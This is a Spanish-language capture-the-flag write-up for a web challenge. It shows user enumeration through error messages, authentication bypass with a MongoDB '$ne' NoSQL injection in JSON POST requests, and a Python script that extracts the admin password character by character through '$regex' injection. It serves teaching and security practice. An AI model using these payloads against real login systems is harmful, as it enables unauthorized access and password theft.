

Login nuevo

Categoría "Web"

Enunciado

Login nuevo

500



Estaba muy cansado de programar con Spring y MySQL, ya tocaba cambiar ¿no?

Nota: La flag tiene que ir en formato `HackOn{FLAG}`

<http://retos.ctf.hackon.es:2095/>

Solución

Nos dan la pista de que están usando tecnologías nuevas en vez de algunos frameworks más tradicionales como pueden ser Spring y MySQL.

Cuando entramos en la página, vemos un panel de login simple.

Login

Username

Password

Login

La primera cosa interesante que podemos ver es que es trivial enumerar usuarios, si introducimos las creds admin:admin nos salta el siguiente mensaje

```
Invalid Password
```

Pero si introducimos un usuario que claramente no exista, por ejemplo "LosWriteupsSonUnTostón" nos salta el siguiente mensaje

```
Invalid Username
```


Sabemos que el usuario admin existe en la base de datos backend, por lo que podríamos enumerar más usuarios, pero sin éxito.


¿Nuevas tecnologías?


La clave era pensar en lo que teníamos por detrás, en este caso un MongoDB, base de datos no relacional que se utiliza mucho con frameworks modernos como Express/NodeJS, backend de este reto.

Vamos a intentar una inyección NoSQL.

NoSQL injection
Checklist - Local Windows Privilege Escalation

 <https://book.hacktricks.xyz/pentesting-web/nosql-injection>



HackTricks
Powered by  GitBook

Esta página contiene payloads a probar. Abrimos nuestro amado Burp

```
user=admin&password[$ne]=admin
```

Como datos en la petición POST de login enviamos los siguientes datos. No funciona esta inyección. Muchos frameworks no detectan este cambio en los datos de envío “password[\$ne]”, por lo que aunque la inyección sea correcta no va a funcionar.

Para seguir avanzando, podríamos pensar maneras de hacer que esta inyección funcione... ¿y si lo enviamos como json? Este formato de texto si lo aceptan muchos framework backend.

Vamos a probar

```
POST /login HTTP/1.1
Host: 130.61.214.169:2095
Content-Length: 43
Content-Type: application/json
Accept-Encoding: gzip, deflate
Cookie: session=da51ac5b-af84-46bc-8400-3225717c106c.QPUUxV3iv5NgDRWHG70-015mqyU
Connection: close

{
  "user": "admin",
```

```
"password": "admin"
}
```

¡Esta petición funciona! Importante ver que hemos cambiado el “Content-Type” de la petición a “application/json”. Ahora vamos a probar la inyección (la podemos ver en la página dada anteriormente).

```
POST /login HTTP/1.1
Host: 130.61.214.169:2095
Content-Length: 56
Content-Type: application/json
Accept-Encoding: gzip, deflate
Cookie: session=da51ac5b-af84-46bc-8400-3225717c106c.QPUUxV3iv5NgDRWHG70-015mqyU
Connection: close

{
  "user": "admin",
  "password": {
    "$ne": "admin"
  }
}
```

Esta inyección nos devuelve el siguiente mensaje

```
Te has autenticado de forma correcta
```

¿Y la flag 🤔?

Si investigamos un poco más, vamos a ver que además del “\$ne” que significa “not equal”, es decir, en la petición anterior le estamos diciendo a mongo que la contraseña del user admin no es igual a “admin”, por lo que nos autenticamos. ¡Pero existe también una inyección por regex! La contraseña del usuario admin es la flag, por lo que podemos ir inyectando regex haciendo peticiones char a char hasta sacar la contraseña completa.

El script en python sería algo así

```
#!/usr/bin/env python3

import requests
import json
```

```

import string
import sys

def login(pw):
    payload = '{ "$regex": "%s" }' % pw
    data = { "user": "admin", "password": json.loads(payload) }
    proxies = { 'http': 'http://127.0.0.1:8080' }
    r = requests.post("http://retos.ctf.hackon.es:2095/login", json=data)
    if "Invalid Password" in r.text:
        return False
    return True

password = '^'
stop = False
diccionario = str(string.ascii_letters) + str(string.digits)
while stop == False:
    for i in diccionario:
        sys.stdout.write(f"\r{password}{i}")
        if login(f"{password}{i}"):
            password += i
            break

```

Lo que estamos haciendo aquí es realizar la inyección por “\$regex” y en bucle hacemos lo siguiente

1. La contraseña empieza por la “a”? (El char ^ en regex significa empezar por)
2. Si es así, nos guardamos la letra y empezamos otra vez con la “a”
3. Si no es así seguimos con la “b”, la “c”, la “d”....
4. Finalmente sacamos toda la password

```
Hack0n{L0H4Sc0ns3Gu1d0}
```